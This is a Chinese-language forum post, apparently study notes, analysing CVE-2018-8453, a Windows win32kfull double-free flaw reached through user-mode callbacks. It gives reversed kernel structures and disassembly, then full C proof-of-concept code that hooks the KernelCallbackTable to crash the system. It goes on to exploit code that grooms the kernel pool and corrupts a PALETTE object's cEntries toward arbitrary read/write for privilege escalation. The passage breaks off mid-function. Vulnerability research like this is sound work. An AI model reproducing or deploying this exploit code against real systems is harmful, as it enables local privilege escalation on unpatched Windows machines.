首页
论坛
课程
招聘
[原创]CVE-2018-8453提权漏洞学习笔记
2022-7-28 11:10 3793

[原创]CVE-2018-8453提权漏洞学习笔记

2022-7-28 11:10
3793

一.前言

1.漏洞描述

由于win32kfull中的NtUserSetWindowFNID在对窗口对象的fnid进行设置的时候,没有判断该窗口是否已经释放,这样就可以对一个已经释放的窗口进行fnid的设置。而在xxxSBTrackInit和xxxFreeWindow中都存在用户层的回调,通过对函数的劫持可以在回调中释放掉xxxSBTrackInit函数中使用的tagSBTRACK结构体,这样当xxxSBTrackInit释放该结构体的时候就会因为双重释放导致BSOD的产生。通过xxxSBTrackInit函数释放结构体之前会对结构体中的部分成员进行解引用的操作,在相应的内存地址中放置PALETTE的cEntries成员的地址来利用解引用扩大该值,实现越界地址写入相邻PALETTE的pFirstColor来实现任意地址读写,最终实现提权。

2.实验环境

  • 操作系统:Win10 x64 1709 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

二.漏洞分析

1.关键结构体

由于在Win10系统中,很多符号并没有导出,所以一些结构体成员只能通过分析得到。对于窗口对象tagWND,和本次漏洞有关的成员定义如下:

3: kd> dt tagWND
   +0x000 head             : _THRDESKHEAD
   +0x052 fnid             : Uint2B
   +0x0A8 pcls             : Ptr64 tagCLS
   +0x180 cbwndExtra          : Uint8B

3: kd> dt _THRDESKHEAD
   +0x000 h               : Ptr64 Void
   +0x008 cLockObj             : Uint4B
   +0x010 pti              : Ptr64 tagTHREADINFO
   +0x018 rpdesk             : Ptr64 tagDESKTOP
   +0x020 pSelf             : Ptr64 UChar

tagWND偏移0x52的fnid表明了窗口的状态,当值包含0x8000的时候,表示窗口被释放:

#define FNID_DELETED_BIT            0x00008000

tagWND偏移0x10的pti指向tagTHREADINFO结构体,改结构体保存了线程信息,定义如下:

3: kd> dt tagTHREADINFO
   +0x198 pq             : Ptr64 tagQ
   +0x2B0 pSBTrack         : Ptr64 tagSBTRACK

tagTHREADINFO偏移0x198的pq指向tagQ结构体,结构体定义如下:

1: kd> dt tagQ
   +0x068 spwndCapture     : Ptr64 tagWND

tagTHREADINFO偏移0x2B0指向tagSBTRACK结构体,当鼠标在一个滚动条按下左键的时候,系统会通过该结构体用来标记鼠标的当前状态,结构体定义如下:

3: kd> dt tagSBTRACK -v
struct tagSBTRACK, 17 elements, 0x68 bytes
   +0x000 fHitOld          : Bitfield Pos 0, 1 Bit
   +0x000 fTrackVert       : Bitfield Pos 1, 1 Bit
   +0x000 fCtlSB           : Bitfield Pos 2, 1 Bit
   +0x000 fTrackRecalc     : Bitfield Pos 3, 1 Bit
   +0x008 spwndTrack       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x010 spwndSB          : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x018 spwndSBNotify    : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x020 rcTrack          : struct tagRECT, 4 elements, 0x10 bytes
   +0x030 xxxpfnSB         : Ptr64 to     void 
   +0x038 cmdSB            : Uint4B
   +0x040 hTimerSB         : Uint8B
   +0x048 dpxThumb         : Int4B
   +0x04c pxOld            : Int4B
   +0x050 posOld           : Int4B
   +0x054 posNew           : Int4B
   +0x058 nBar             : Int4B
   +0x060 pSBCalc          : Ptr64 to struct tagSBCALC, 16 elements, 0x40

2.xxxFreeWindow函数分析

内核通过xxxFreeWindow来释放窗口,函数会将要释放的窗口对象的fnid与0x8000进行或运算,表示窗口被释放。接着判断窗口对象是否有扩展内存,即cbwndExtra是否为0,如果不为0,则执行xxxClientFreeWindowClassExtraBytes来释放扩展内存:

.text:00000001C0050A10                 mov     r8, [rdi+180h]  			 ; r8 = tagWND->cbwndExtra
.text:00000001C0050A17                 mov     eax, 8000h
.text:00000001C0050A1C                 or      [rdi+52h], ax  			 ; tagWND->fnid |= 0x8000
.text:00000001C0050A20                 lea     rax, [r8-1]
.text:00000001C0050A24                 cmp     rax, 0FFFFFFFFFFFFFFFDh
.text:00000001C0050A28                 ja      short loc_1C0050A6D 	          ; 判断r8是否为0
.text:00000001C0050A2A                 test    dword ptr [rdi+130h], 800h
.text:00000001C0050A34                 jnz     loc_1C00513AD
.text:00000001C0050A3A                 call    cs:__imp_PsGetCurrentProcess
.text:00000001C0050A40                 mov     ecx, [rax+304h]
.text:00000001C0050A46                 test    ecx, 40000008h
.text:00000001C0050A4C                 jnz     short loc_1C0050A66
.text:00000001C0050A4E                 mov     eax, [r15+1D0h]
.text:00000001C0050A55                 test    r14b, al
.text:00000001C0050A58                 jnz     short loc_1C0050A66
.text:00000001C0050A5A                 mov     rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra
.text:00000001C0050A61                 call    xxxClientFreeWindowClassExtraBytes

xxxClientFreeWindowClassExtraBytes函数会执行KeUserModeCallback来返回用户层:

.text:00000001C00B6D25                 mov     r8d, 8       
.text:00000001C00B6D2B                 lea     rax, [rsp+48h+arg_10]
.text:00000001C00B6D30                 lea     r9, [rsp+48h+var_18] 
.text:00000001C00B6D35                 mov     [rsp+48h+var_28], rax 
.text:00000001C00B6D3A                 lea     rdx, [rsp+48h+arg_18] 
.text:00000001C00B6D3F                 lea     ecx, [r8+76h]   ; ecx = 0x76 + 0x8 = 0x7E
.text:00000001C00B6D43                 call    cs:__imp_KeUserModeCallback

xxxClientFreeWindowClassExtraBytes函数执行完成之后,函数会判断窗口对象的fnid值的低12位是否在0x2A0到0x2AA之间:

.text:00000001C00509EF                 movzx   eax, word ptr [rdi+52h] ; eax = tagWND->fnid
.text:00000001C00509F3                 mov     edx, 3FFFh
.text:00000001C00509F8                 movzx   ecx, ax
.text:00000001C00509FB                 and     cx, dx      
.text:00000001C00509FE                 mov     edx, 29Ah
.text:00000001C0050A03                 lea     r8d, [rdx+6]    ; r8d = 0x29A + 0x6 = 0x2A0
.text:00000001C0050A07                 cmp     cx, dx
.text:00000001C0050A0A                 jnb     loc_1C005117A    ; 此处会跳转
                    ; 省略部分代码
.text:00000001C005117A loc_1C005117A:                         
.text:00000001C005117A                 mov     ebx, 4000h
.text:00000001C005117F                 test    bx, ax
.text:00000001C0051182                 jnz     loc_1C0050A10   ; r8 = tagWND->cbwndExtra
.text:00000001C0051188                 cmp     cx, r8w              ; r8w = 0x2A0
.text:00000001C005118C                 jbe     loc_1C00514B7   ; fnid <= 0x2A0跳转
.text:00000001C0051192                 mov     eax, 2AAh
.text:00000001C0051197                 cmp     cx, ax
.text:00000001C005119A                 ja      short loc_1C00511AC ; fnid >= 0x2AA则跳转
.text:00000001C005119C                 mov     eax, [r15+1D0h]
.text:00000001C00511A3                 test    r14b, al
.text:00000001C00511A6                 jz      loc_1C00515D8     ; 这里需要跳转

如果fnid在0x2A0到0x2AA之间,则会调用SfnDWORD函数:

.text:00000001C00515D8 loc_1C00515D8:                         
.text:00000001C00515D8                 mov     rax, cs:__imp_gpsi
.text:00000001C00515DF                 xor     r9d, r9d		; r9d = 0
.text:00000001C00515E2                 movzx   ecx, cx
.text:00000001C00515E5                 xor     r8d, r8d
.text:00000001C00515E8                 mov     [rsp+100h+var_C8], r13
.text:00000001C00515ED                 mov     dword ptr [rsp+100h+var_D0], r14d
.text:00000001C00515F2                 mov     rax, [rax]
.text:00000001C00515F5                 lea     edx, [r9+70h]		; edx = 0 + 0x70 = 0x70
.text:00000001C00515F9                 mov     rax, [rax+rcx*8-1210h]
.text:00000001C0051601                 mov     rcx, rdi
.text:00000001C0051604                 mov     qword ptr [rsp+100h+var_D8], rax
.text:00000001C0051609                 mov     qword ptr [rsp+100h+var_E0], r13
.text:00000001C005160E                 call    SfnDWORD
.text:00000001C0051613                 jmp     loc_1C00511AC

SfnDWORD函数也会调用KeUserModeCallback函数返回用户层:

.text:00000001C006F85A                 lea     r9, [rsp+108h+arg_18] ; 
.text:00000001C006F862                 mov     r8d, 30h ; '0'  ;
.text:00000001C006F868                 lea     rdx, [rsp+108h+var_C8] 
.text:00000001C006F86D                 lea     ecx, [r8-2Eh]   ; ecx = 0x30 - 0x2E = 0x2
.text:00000001C006F871                 call    cs:__imp_KeUserModeCallback

3.xxxSBTrackInit函数分析

xxxSBTrackInit是用来执行鼠标左键按下滚动条进行拖动的函数,该函数的部分代码如下,函数首先申请一块内存用来保存pSBTrack结构体,对这块内存进行初始化,并对部分成员进行引用;接着函数调用xxxSBTrackLoop用来处理拖动滚动条要处理的消息;最后函数对相关成员进行解引用后,释放掉pSBTrack结构体:

__int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4)
{
  //  申请内存并进行初始化
  pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU');
  pSBTrack_1 = pSBTrack;
  if ( !pSBTrack )
    return pSBTrack;
  
  // 对成员进行初始化
  *(_DWORD *)pSBTrack &= 0xFFFFFFFE;
  *(_QWORD *)(pSBTrack + 0x40) = 0i64;
  *(_QWORD *)(pSBTrack + 8) = 0i64;
  *(_QWORD *)(pSBTrack + 0x10) = 0i64;
  *(_QWORD *)(pSBTrack + 0x18) = 0i64;
  *(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox;
  
  // 将pSBTrack存储与tagTHRAEDINFO->pSBTrack中
  *(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack;

  // 对spwndTrack,spwndSB,spwndSBNotify进行引用
  arr[0] = pSBTrack_1 + 8;
  arr[1] = tagWND;
  HMAssignmentLock(arr);
  arr[0] = pSBTrack_1 + 0x10;
  arr[1] = tagWND;
  HMAssignmentLock(arr);
  arr[0] = pSBTrack_1 + 0x18;
  arr[1] = *((_QWORD *)tagWND + 0xD);
  HMAssignmentLock(arr);

  xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64);
  pti = *((_QWORD *)tagWND + 2);
  if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
  {
    // 消息分发
    xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17);
    
    // 释放pSBTrack对象
    pti = *((_QWORD *)tagWND + 2);
    pSBTrack = *(_QWORD *)(pti + 0x2B0);
    if ( pSBTrack )
    {
      // 解引用
      HMAssignmentUnlock(pSBTrack + 0x18);
      HMAssignmentUnlock(pSBTrack + 0x10);
      HMAssignmentUnlock(pSBTrack + 8);
      // 释放pSBTrack
      Win32FreePool(pSBTrack);
      pti = *((_QWORD *)tagWND + 2);
      *(_QWORD *)(pti + 0x2B0) = 0i64;
      return pti;
    }
  }
}

xxxSBTrackLoop会调用xxxTranslateMessage和xxxDispatchMessage来分发处理消息,xxxDispatchMessage函数会调用上面说的SfnWORD函数来返回用户层:

4.NtUserSetWindowFNID函数分析

该函数用来设置窗口对象的fnid增加指定的值,但是,这里增加的时候,函数没有判断窗口是否已经被释放,即是否具备0x8000。这就会导致,进行设置的时候很有可能会对一个已经释放的窗口的fnid值进行设置:

__int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid)
{
  hwnd = ValidateHwnd(a1);
  if ( hwnd )
  {
    if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) )
    {
      // 判断要设置的fnid是否满足要求
      if ( fnid == 0x4000 ||  fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 )
      {
        // 设置tagWND->fnid
        *(_WORD *)(hwnd + 0x52) |= fnid;
      }
    }
  }
}

5.漏洞成因

这个漏洞的成因比较复杂,要将上面的几个函数都联系起来看,成因如下:

  • 当向滚动条控件发送WM_LBUTTONDOWN(左键按下)的消息时候,xxxSBTrackInit函数就会被调用,xxxSBTrackInit函数会调用xxxDispatchMessage,该函数又会调用SfdDWORD来返回用户层

  • 如果用户HOOK了用户层对应的处理函数,就可以在该函数中调用DestroyWindow来释放拥有该滚动条控件的窗口。这样就会执行xxxFreeWindow,该函数会首先将窗口的fnid标记为删除的窗口,接着在该窗口存在扩展对象的时候,调用xxxClientFreeWindowClassExtraBytes函数返回用户层

  • 如果用户HOOK了用户层对应的处理函数,就可以在处理函数中调用NtUserSetWindowFNID,将窗口的fnid加入0x2A1的标记。这样xxxClientFreeWindowClassExtraBytes函数返回以后,会因为被修改的窗口的fnid值的低12位为0x2A1导致再次调用SfdDWORD返回用户层,此时在对应的处理函数中释放掉xxxSBTrackInit函数申请的pSBTrack结构体,这块内存就会处于释放状态

  • 当xxxFreeWindow函数返回后,就会返回到xxxSBTrackInit继续执行,而xxxSBTrackInit会在最后释放pSBTrack结构体,而这个结构体已经被释放,此时如果在释放就会产生BSOD错误

三.漏洞触发

要成功触发这个漏洞,就需要在SfdDWORD在用户层的处理函数中释放pSBTrack结构体,此时只需要通过向滚动条发送WM_CANCELMODE消息,该函数会导致xxxEndScroll函数来释放内存,该函数的主要代码如下:

__int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2)
{
         // 要释放pSBTrack结构体的三个条件
         pti = *((_QWORD *)pwnd + 2);
         pSBTrack = *(_QWORD *)(pti + 0x2B0);
         if ( !pSBTrack )                                                                              // pSBTrack != NULL
              return pti;
         pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64);             
         if ( *(struct tagWND **)(pq + 0x68) != pwnd )                               //  pq->spwndCapture == pwnd
              return pti;
         if ( !*(_QWORD *)(pSBTrack + 0x30) )                                            //  pSBTrack->xxxpfnSB != NULL
              return pti;
       
        // 释放掉pSBTrack结构体
        pti = *((_QWORD *)pwnd + 2);
        if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
        {
          spwndSB = *(struct tagWND **)(pSBTrack + 0x10);
          if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) )
          {
            *(_QWORD *)(pSBTrack + 0x30) = 0i64;
            HMAssignmentUnlock(pSBTrack + 0x10);
            HMAssignmentUnlock(pSBTrack + 0x18);
            HMAssignmentUnlock(pSBTrack + 8);
            Win32FreePool(pSBTrack);
            pti = *((_QWORD *)pwnd + 2);
            *(_QWORD *)(pti + 0x2B0) = 0i64;
          }
        }
  
  return pti;
}

其中第二处的限制需要窗口一个新得滚动条对象,并对其调用SetCapture。整个触发漏洞的流程如下:

  1. 创建一个带有八字节额外内存的窗口对象,并将该对象的句柄赋值到额外内存中供之后使用。同时,在该窗口中在创建一个滚动条对象用来触发漏洞

  2. HOOK SfdDWORD和xxxCreateFreeWindowClassExtraBytes返回到用户层会执行的函数

  3. 向创建的窗口发送WM_LBUTTIONDWORD函数来调用xxxSBTrackInit函数

  4. 在用户层定义的xxxClientFreeWindowClassExtraBytes会根据要释放的内存中保存的是否是第一步中窗口的窗口句柄,来判断是否要修改fnid和调用SetCapture

  5. 在用户层定义的SfdDWORD的处理函数中,会判断如果是第一次调用就会通过DestroyWindow来调用xxxFreeWindow。如果是第二处调用,则发送WM_CANCELMODE来是否pSBTrackInit函数

  6. 当xxxSBTrackInit函数最后释放pSBTrack结构体的时候就会因为双重释放导致BSOD

相应的POC代码如下:

BOOL CreateWindows()
{
	BOOL bRet = TRUE;

	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	char *szClassName = "MainWindow";
	WNDCLASS wc = { 0 };

	wc.style = CS_HREDRAW | CS_VREDRAW;
	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = handle;
	wc.cbWndExtra = 8;
	wc.lpszClassName = szClassName;

	if (!RegisterClass(&wc))
	{
		bRet = FALSE;
		ShowError("RegisterClass", GetLastError());
		goto exit;
	}

	Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
	if (!Window)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	SetWindowLong(Window, 0, (ULONG)Window);

	ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL);
	if (!ScrollBar)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

BOOL HookFunc_CVE_2018_8453()
{
	BOOL bRet = TRUE;

	ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58);

	DWORD dwOldProtect = 0;

	if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect))
	{
		bRet = FALSE;
		ShowError("VirtualProtect", GetLastError());
		goto exit;
	}

	org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2);
	*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD;

	org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80);
	*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes;

	if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect))
	{
		bRet = FALSE;
		ShowError("VirtualProtect", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

LONG64 My_fnDWORD(PVOID arg0)
{
	if (g_Flag_2018_8453 && *(PDWORD)arg0)
	{
		g_Flag_2018_8453 = FALSE;
		DestroyWindow(Window);
	}

	if (*((PULONG64)arg0 + 1) == 0x70)
	{
		SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
	}

	return org_fnDWORD(arg0);
}

LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0)
{
	if ((*(HWND*)*(HWND*)arg0) == Window)
	{
		New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
		NtUserSetWindowFNID(Window, 0x2A1);
		SetCapture(New_ScrollBar);
	}

	return org_xxxClientAllocWindowClassExtraBytes(arg0);
}

BOOL POC_CVE_2018_8453()
{
	BOOL bRet = TRUE;

	if (!CreateWindows())
	{
		bRet = FALSE;
		goto exit;
	}

	if (!HookFunc_CVE_2018_8453())
	{
		bRet = FALSE;
		goto exit;
	}

	g_Flag_2018_8453 = TRUE;

	SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);

exit:
	return bRet;
}

编译运行POC就会产生BSOD错误,以下是部分错误信息:

2: kd> !analyze -v
Connected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed
Arg2: 0000000074737355, Pool tag value from the pool header
Arg3: 000000002d080002, Contents of the first 4 bytes of the pool header
Arg4: ffffea21825a28f0, Address of the block of pool being deallocated


POOL_ADDRESS:  ffffea21825a28f0 Paged session pool

FREED_POOL_TAG:  Usst

PROCESS_NAME:  exp_x64.exe

STACK_TEXT:  
nt!DbgBreakPointWithStatus
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x937
nt!KeBugCheckEx+0x107
nt!ExFreePoolWithTag+0x17bc
win32kfull!Win32FreePoolImpl+0x4c
win32kbase!Win32FreePool+0x1c
win32kfull!xxxSBTrackInit+0x491
win32kfull!xxxSBWndProc+0x9fa
win32kfull!xxxSendTransformableMessageTimeout+0x3c8
win32kfull!xxxWrapSendMessage+0x24
win32kfull!NtUserMessageCall+0xfb
nt!KiSystemServiceCopyEnd+0x13
win32k!NtUserMessageCall+0x14
USER32!SendMessageWorker+0x108
USER32!SendMessageA+0x55

可以看到BSOD产生的原因就是因为重复释放pSBTrack结构体:

四.漏洞利用

1.利用思路

想要不产生BSOD,就需要在第一次释放pSBTrack结构体之后,申请一块共占用0x80大小的内存来占用释放掉的内存,这样在xxxSBTrackInit中第二次释放的时候不会因为释放掉已释放的漏洞产生双重释放。而在xxxSBTrackInit释放内存之前,函数会对其中几个成员通过调用HMAssignmentUnlock来解引用,该函数的实现如下,可以看出就是将传入参数的指针所指向地址偏移为8的地址的值-1,如果可以传入合适的参数来扩大特定的值就可以实现任意地址读写。

之前往往选择BitMap对象,但因为从Win10 1709开始,BitMap对象的data不在对象头之后,pvScan0指向了不同的内存,所以这里就改为选用Palette对象来实现任意地址读写。

2.Palette对象

创建Palette对象的创建通过CreatePalette函数来实现,该函数的定义如下:

HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);

其中参数的定义如下,成员palNumEntries指定了数组palPalEntry的个数:

typedef struct tagLOGPALETTE {
    WORD        palVersion;
    WORD        palNumEntries;
    PALETTEENTRY  palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE;

数组palPalEntry的类型为PALETTENTRY,可以看出每个元素占用4字节:

typedef struct tagPALETTEENTRY
{
    BYTE    peRed;
    BYTE    peGreen;
    BYTE    peBlue;
    BYTE    peFlags;
} PALETTEENTRY;

CreatePalette调用成功之后,就会创建一个PALETTE对象,该对象定义如下,其中偏移0x1C的cEntries等于LOGPALETTE的palNumEntries,偏移0x88的apalColor数组即LOGPALETTE中的palPalEntry数组。

typedef struct _BASEOBJECT64
{
    ULONG64 hHmgr;
    ULONG32 ulShareCount;
    WORD cExclusiveLock;
    WORD BaseFlags;
    ULONG64 Tid;
} BASEOBJECT64, *POBJ;         // sizeof = 0x18

typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;            // 0x00
    FLONG                   flPal;                      // 0x18
    ULONG32              cEntries;                 // 0x1C
    ULONG64              ulUnknown[0xB]    // 0x20
    PALETTEENTRY     *pFirstColor;           // 0x78
    PALETTE64            *ppalThis;               // 0x80
    PALETTEENTRY     apalColors[3];         // 0x88
} PALETTE64, *PPALETTE64;

而偏移0x78的pFirstColor指向了apalColors,当通过SetPaletteEntries和GetPaletteEntries进行读写的时候,读写的地址就是由pFirstColor指向的地址:

UINT WINAPI SetPaletteEntries(HPALETTE hpal,
                              UINT iStart,
                              UINT cEntries,
                              PALETTEENTRY *pPalEntries);
                              
UINT  WINAPI GetPaletteEntries(HPALETTE hpal,
                               UINT iStart,
                               UINT cEntries,
                               LPPALETTEENTRY pPalEntries);

当创建带有MenuName的窗口时,可以通过tagWND偏移0xA8的pcls来获取其在内存中的地址。因此,可以通过创建一个这样的窗口,然后释放掉,在马上创建一个PALETTE,那么它的pcls就指向了这个PALETTE对象(大概率),获取MenuName地址的代码如下,这里需要注意的是创建的内存如果打到一定程度,这块内存的头就不会有0x10的POOL_HEADER,所以使用的时候要根据具体情况来决定。

ULONG64 AllocateFreeWindow(DWORD dwSize)
{
	ULONG64 ulRes = 0;
	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	WNDCLASSW wc = { 0 };
	WCHAR szMenuName[0x1005] = { 0 };
	PWCHAR pClassName = L"LEAKWS";

	memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
	wc.style = CS_HREDRAW | CS_VREDRAW;
	wc.hInstance = handle;
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pClassName;
	wc.lpszMenuName = szMenuName;

	if (!RegisterClassW(&wc))
	{
		ShowError("RegisterClassW", GetLastError());
		goto exit;
	}

	HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
	if (!hWnd)
	{
		ShowError("CreateWindowExW", GetLastError());
		goto exit;
	}
	
	lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
	if (!HMValidateHandle) goto exit;
	
	PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW);
	ULONG64 ulTagCls = 0, ulClientDelta = 0;

	ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
	ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
	ulRes = *(PULONG64)(ulTagCls + 0x98);
	DestroyWindow(hWnd);
	UnregisterClassW(pClassName, handle);
exit:
	return ulRes;
}

此时可以通过创建一个0x1000字节的MenuName,在释放掉它并马上申请两个占用0x800的PALETTE,这样这两个PALETTE就会占用释放掉的MenuName,它们在内存中是相邻的,且可以获取到第一个PALETTE对象的地址,此时记录第一个PALETTE对象cEntries对象的地址供之后使用,相应的代码如下:

BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette)
{
	BOOL bRet = TRUE;
	CONST DWORD dwCount = 0x1500;
	DWORD i = 0, dwSize = 0x800;
	HACCEL hAccel[dwCount] = { NULL };

	PLOGPALETTE pLogPalette = NULL;

	DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4;
	DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY);

	pLogPalette = (PLOGPALETTE)malloc(dwPalSize);
	if (!pLogPalette)
	{
		ShowError("malloc", GetLastError());
		goto exit;
	}

	ZeroMemory(pLogPalette, dwPalSize);
	memset(pLogPalette, 0x41, dwPalSize);
	pLogPalette->palNumEntries = dwNumEntries;
	pLogPalette->palVersion = 0x300;

	// 消耗0x800大小的空余内存
	for (i = 0; i < dwCount; i++)
	{
		// 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800
		ACCEL accel[0x14D] = { 0 };
		hAccel[i] = CreateAcceleratorTable(accel, 0x14D);
		if (!hAccel[i]) break;
	}

	// 申请一块新的0x1000大小MENUNAME并释放掉它
	ULONG64 ulRes = AllocateFreeWindow(0x1000);
	if (!ulRes)
	{
		bRet = FALSE;
		goto exit;
	}

	// 占用释放上一步释放的0x1000大小的内存
	hPalette[0] = CreatePalette(pLogPalette);
	hPalette[1] = CreatePalette(pLogPalette);

	if (!hPalette[0] || !hPalette[1])
	{
		bRet = FALSE;
		goto exit;
	}

	// 用于记录修改cEntries成员的大小
	g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8;

exit:
	for (i = 0; i < dwCount; i++)
	{
		if (hAccel[i])
		{
			DestroyAcceleratorTable(hAccel[i]);
			hAccel[i] = NULL;
		}
		else break;
	}
	return bRet;
}

接下来在第一次释放的时候,就要创建大量的MenuName来占用释放的内存,由于可以直接修改MenuName的值,所以可以对应tagSBTRACK结构体的成员,将其设为上面记录的cEntries成员的地址,这样之后xxxSBTrackInit函数在最后调用HMAssignmentUnlock进行-1操作的时候就会修改cEntries,相应的代码如下:

LONG64 My_fnDWORD(PVOID arg0)
{
	if (g_Flag_2018_8453 && *(PDWORD)arg0)
	{
		g_Flag_2018_8453 = FALSE;
		DestroyWindow(Window);
	}

	if (*((PULONG64)arg0 + 1) == 0x70)
	{
		CONST DWORD dwCount = 0x2000;
		DWORD i = 0, dwSize = 0x80;
		HACCEL hAccel[dwCount] = { NULL };

		// 占用0x80的空闲内存
		for (i = 0; i < dwCount; i++)
		{
			// 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80
			ACCEL accel[0xD] = { 0 };
			hAccel[i] = CreateAcceleratorTable(accel, 0xD);
			if (!hAccel[i]) break;
		}

		// 释放tagSBTRACK内存
		SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);

		lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
		if (!HMValidateHandle)	goto exit;

		HINSTANCE handle = GetModuleHandle(NULL);
		if (!handle)
		{
			ShowError("GetModuleHandle", GetLastError());
			goto exit;
		}

		HWND hWnd[0x400] = { NULL };
		WNDCLASSW wc = { 0 };
		WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 };

		// 占用释放的tagSBTRACK内存
		memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
		*(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453;
		*(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453;

		for (i = 0; i < 0x400; i++)
		{
			memset(ClassName, 0, 0x50);
			sprintf((char*)ClassName, "WindowLeak%d", i);

			memset(&wc, 0, sizeof(wc));
			wc.hInstance = handle;
			wc.lpfnWndProc = DefWindowProc;
			wc.lpszMenuName = MenuName;
			wc.style = CS_HREDRAW | CS_VREDRAW;
			wc.lpszClassName = ClassName;
			if (!RegisterClassW(&wc)) 
			{
				ShowError("RegisterClassW", GetLastError());
				break;
			}

			hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
			if (!hWnd[i])
			{
				ShowError("CreateWindowExW", GetLastError());
				break;
			}
		}

		ULONG64 ulTagCls = 0, ulClientDelta = 0;
		PTHRDESKHEAD pTagWndHead = NULL;
		for (i = 0; i < 0x400; i++)
		{
			if (!hWnd[i]) break;
			pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW);
			ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
			ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
			g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta;
		}

		for (i = 0; i < dwCount; i++)
		{
